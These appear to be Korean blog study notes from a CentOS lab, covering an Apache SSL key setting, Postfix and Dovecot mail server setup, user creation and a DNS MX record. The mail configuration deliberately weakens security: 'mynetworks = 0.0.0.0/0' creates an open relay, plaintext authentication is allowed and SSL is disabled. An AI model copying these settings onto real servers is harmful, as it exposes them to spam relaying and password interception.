#   directive to point at the key file.  Keep in mind that if
#   you've both a RSA and a DSA private key you can configure
#   both in parallel (to also allow the use of DSA ciphers, etc.)
#SSLCertificateKeyFile /etc/pki/tls/private/localhost.key (주석 처리)
SSLCertificateKeyFile /etc/pki/tls/private/a.key (추가)

[root@localhost ~]# service httpd restart




'정보보안 > 공부 기록' 카테고리의 다른 글

DHCP Server  (0) 2023.01.01
인코딩, Join, view  (0) 2023.01.01
Mail Server  (0) 2023.01.01
OSPF  (0) 2023.01.01
소유주, 소유그룹 설정  (0) 2023.01.01

메일서버
postfix 설정
[root@localhost named]# vim /etc/postfix/main.cf

#myhostname = host.domain.tld
#myhostname = virtual.domain.tld
myhostname = mail.a.com

#mydomain = domain.tld
mydomain = a.com

#myorigin = $myhostname
myorigin = $mydomain

inet_interfaces = all
#inet_interfaces = $myhostname
#inet_interfaces = $myhostname, localhost
#inet_interfaces = localhost

[inet_interfaces = localhost (요청을 수락할 인터페이스 , 꼭 주석처리 해하고 all을 활성화해야함)]

#mydestination = $myhostname, localhost.$mydomain, localhost (주석처리)
#mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain,
         mail.$mydomain, www.$mydomain, ftp.$mydomain(주석해제)


#mynetworks = 168.100.189.0/28, 127.0.0.0/8
#mynetworks = $config_directory/mynetworks
#mynetworks = hash:/etc/postfix/network_table (주석처리)
mynetworks = 0.0.0.0/0 (전체 주소 추가)


#home_mailbox = Mailbox
home_mailbox = Maildir/ (주석해제)


[root@localhost named]# service postfix restart

메일 보내기
- 현재는 막혀서 메일을 받지 못함
[root@localhost ~]# mail myoung65436@gmail.com
Subject: 테스트
postfix 테스트!!
EOT
[root@localhost ~]# 


[root@localhost ~]# netstat -antup | grep "master"

dovecot 설정
[root@localhost dovecot]# vim dovecot.conf 

(주석해제)
20 protocols = imap pop3 lmtp

26 listen = *, ::



[root@localhost dovecot]# cd conf.d
[root@localhost conf.d]# ls -l
합계 104
-rw-r--r-- 1 root root  5157 2010-06-26 10:11 10-auth.conf
-rw-r--r-- 1 root root  1691 2010-12-30 18:42 10-director.conf
-rw-r--r-- 1 root root  2730 2010-06-26 10:11 10-logging.conf
-rw-r--r-- 1 root root 14449 2015-09-22 23:35 10-mail.conf
-rw-r--r-- 1 root root  2920 2010-12-30 18:42 10-master.conf
-rw-r--r-- 1 root root  1729 2015-09-22 23:35 10-ssl.conf
-rw-r--r-- 1 root root  1513 2010-12-30 18:42 15-lda.conf
-rw-r--r-- 1 root root  2148 2010-12-30 18:42 20-imap.conf
-rw-r--r-- 1 root root   469 2010-12-30 18:42 20-lmtp.conf
-rw-r--r-- 1 root root  3532 2010-12-30 18:42 20-pop3.conf
-rw-r--r-- 1 root root   676 2010-06-12 08:02 90-acl.conf
-rw-r--r-- 1 root root   292 2010-06-12 08:02 90-plugin.conf
-rw-r--r-- 1 root root  2251 2010-06-12 08:02 90-quota.conf
-rw-r--r-- 1 root root   496 2010-03-26 00:04 auth-checkpassword.conf.ext
-rw-r--r-- 1 root root   486 2010-03-26 00:04 auth-deny.conf.ext
-rw-r--r-- 1 root root   802 2010-03-26 00:04 auth-ldap.conf.ext
-rw-r--r-- 1 root root   558 2010-03-26 00:04 auth-master.conf.ext
-rw-r--r-- 1 root root   329 2010-03-26 00:04 auth-passwdfile.conf.ext
-rw-r--r-- 1 root root   785 2010-03-26 00:04 auth-sql.conf.ext
-rw-r--r-- 1 root root   608 2010-06-12 08:02 auth-static.conf.ext
-rw-r--r-- 1 root root  2106 2010-03-26 00:04 auth-system.conf.ext
-rw-r--r-- 1 root root   302 2010-03-26 00:04 auth-vpopmail.conf.ext
[root@localhost conf.d]# vim 10-auth.conf 

disable_plaintext_auth = no (yes -> no)

[root@localhost conf.d]# vim 10-ssl.conf 
ssl = no  (yes -> no)


[root@localhost conf.d]# vim 10-mail.conf 
   mail_location = maildir:~/Maildir (주석해제)
#   mail_location = mbox:~/mail:INBOX=/var/mail/%u
#   mail_location = mbox:/var/mail/%d/%1n/%n:INDEX=/var/indexes/%d/%1n/%n

사용자 추가
[root@localhost conf.d]# useradd alice 
[root@localhost conf.d]# useradd bob
[root@localhost conf.d]# passwd alice
alice 사용자의 비밀 번호 변경 중
새  암호:
잘못된 암호: 너무 짧습니다  
잘못된 암호: 너무 간단함
새  암호 재입력:
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.
[root@localhost conf.d]# passwd bob
bob 사용자의 비밀 번호 변경 중
새  암호:
잘못된 암호: 너무 짧습니다  
잘못된 암호: 너무 간단함
새  암호 재입력:
passwd: 모든 인증 토큰이 성공적으로 업데이트 되었습니다.



주네임서버[CentOS(2)]
[root@localhost named]# vim a.com.zone 

MX  10  mail.a.com. 추가
$TTL 1D
@       IN SOA  ns1.a.com. admin.kh.com. (
                                        2022071204      ; serial
                                        120     ; refresh
                                        1H      ; retry
                                        1W      ; expire
                                        3H )    ; minimum
        NS      ns1.a.com.
        MX  10  mail.a.com.
mail    A       192.168.10.100
ns1     A       192.168.10.200
~                                     

메일 오류 확인
[root@localhost conf.d]# vim /var/log/maillog





'정보보안 > 공부 기록' 카테고리의 다른 글

인코딩, Join, view  (0) 2023.01.01
SSL  (0) 2023.01.01
OSPF  (0) 2023.01.01
소유주, 소유그룹 설정  (0) 2023.01.01
디스크 관리  (0) 2023.01.01

+ Recent posts